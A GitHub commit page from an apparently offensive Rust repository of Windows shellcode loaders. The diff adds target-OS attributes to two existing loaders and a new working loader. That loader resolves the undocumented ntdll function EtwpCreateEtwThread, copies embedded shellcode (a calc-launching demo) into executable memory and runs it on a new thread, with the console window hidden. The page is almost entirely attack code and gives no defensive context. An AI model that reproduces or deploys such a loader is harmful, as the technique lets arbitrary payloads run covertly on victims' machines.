Skip to content

Commit e572034

Browse files
author
test
committed
add etwp_create_etw_thread
1 parent 5c3ff12 commit e572034

File tree

4 files changed

+60
-0
lines changed

4 files changed

+60
-0
lines changed

create_remote_thread/src/main.rs

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -14,6 +14,7 @@ use windows_sys::Win32::System::Threading::{CreateRemoteThread, OpenProcess, PRO
1414
static SHELLCODE: [u8; 98] = *include_bytes!("../../w64-exec-calc-shellcode-func.bin");
1515
static SIZE: usize = SHELLCODE.len();
1616

17+
#[cfg(target_os = "windows")]
1718
fn main() {
1819
let mut old = PAGE_READWRITE;
1920

create_thread/src/main.rs

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -11,6 +11,7 @@ use windows_sys::Win32::System::Threading::{CreateThread, WaitForSingleObject};
1111
static SHELLCODE: [u8; 98] = *include_bytes!("../../w64-exec-calc-shellcode-func.bin");
1212
static SIZE: usize = SHELLCODE.len();
1313

14+
#[cfg(target_os = "windows")]
1415
fn main() {
1516
let mut old = PAGE_READWRITE;
1617

etwp_create_etw_thread/Cargo.toml

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
[package]
2+
name = "etwp_create_etw_thread"
3+
version = "0.1.0"
4+
edition = "2021"
5+
6+
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
7+
8+
[dependencies]
9+
windows-sys = { version = "0.45.0", features = ["Win32_System_Memory", "Win32_Foundation", "Win32_System_LibraryLoader", "Win32_System_Threading"] }

etwp_create_etw_thread/src/main.rs

Lines changed: 49 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,49 @@
1+
#![windows_subsystem = "windows"]
2+
3+
use std::ffi::c_void;
4+
use std::mem::transmute;
5+
use std::ptr::{copy, null, null_mut};
6+
use windows_sys::Win32::Foundation::{FALSE, HANDLE, WAIT_FAILED};
7+
use windows_sys::Win32::System::LibraryLoader::{GetProcAddress, LoadLibraryA};
8+
use windows_sys::Win32::System::Memory::{
9+
VirtualAlloc, VirtualProtect, MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE, PAGE_READWRITE,
10+
};
11+
use windows_sys::Win32::System::Threading::WaitForSingleObject;
12+
13+
static SHELLCODE: [u8; 98] = *include_bytes!("../../w64-exec-calc-shellcode-func.bin");
14+
static SIZE: usize = SHELLCODE.len();
15+
16+
#[cfg(target_os = "windows")]
17+
fn main() {
18+
let mut old = PAGE_READWRITE;
19+
20+
unsafe {
21+
let ntdll = LoadLibraryA("ntdll.dll\0".as_ptr());
22+
if ntdll == 0 {
23+
eprintln!("LoadLibraryA failed!");
24+
return;
25+
}
26+
27+
let etw = GetProcAddress(ntdll, "EtwpCreateEtwThread\0".as_ptr());
28+
29+
let dest = VirtualAlloc(null(), SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
30+
if dest == null_mut() {
31+
eprintln!("VirtualAlloc failed!");
32+
return;
33+
}
34+
35+
copy(SHELLCODE.as_ptr(), dest as *mut u8, SIZE);
36+
37+
let res = VirtualProtect(dest, SIZE, PAGE_EXECUTE, &mut old);
38+
if res == FALSE {
39+
eprintln!("VirtualProtect failed!");
40+
return;
41+
}
42+
43+
let etw: extern "C" fn(addr: *mut c_void, i: isize) -> HANDLE = transmute(etw);
44+
45+
let thread = etw(dest, 0);
46+
47+
WaitForSingleObject(thread, WAIT_FAILED);
48+
}
49+
}

0 commit comments

Comments
 (0)